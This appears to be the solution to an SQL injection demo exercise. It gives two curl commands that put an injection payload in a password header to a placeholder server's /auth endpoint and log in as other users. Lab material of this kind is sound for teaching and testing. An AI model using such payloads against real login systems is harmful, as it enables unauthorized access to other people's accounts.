sql-injection-demo

Solution:

  • curl {server ip}:8000/auth -H "username:viet009" -H "pw:' OR username='viet010' --'"
  • curl {server ip}:8000/auth -H "username:viet009" -H "pw:' OR username='viet020' --'"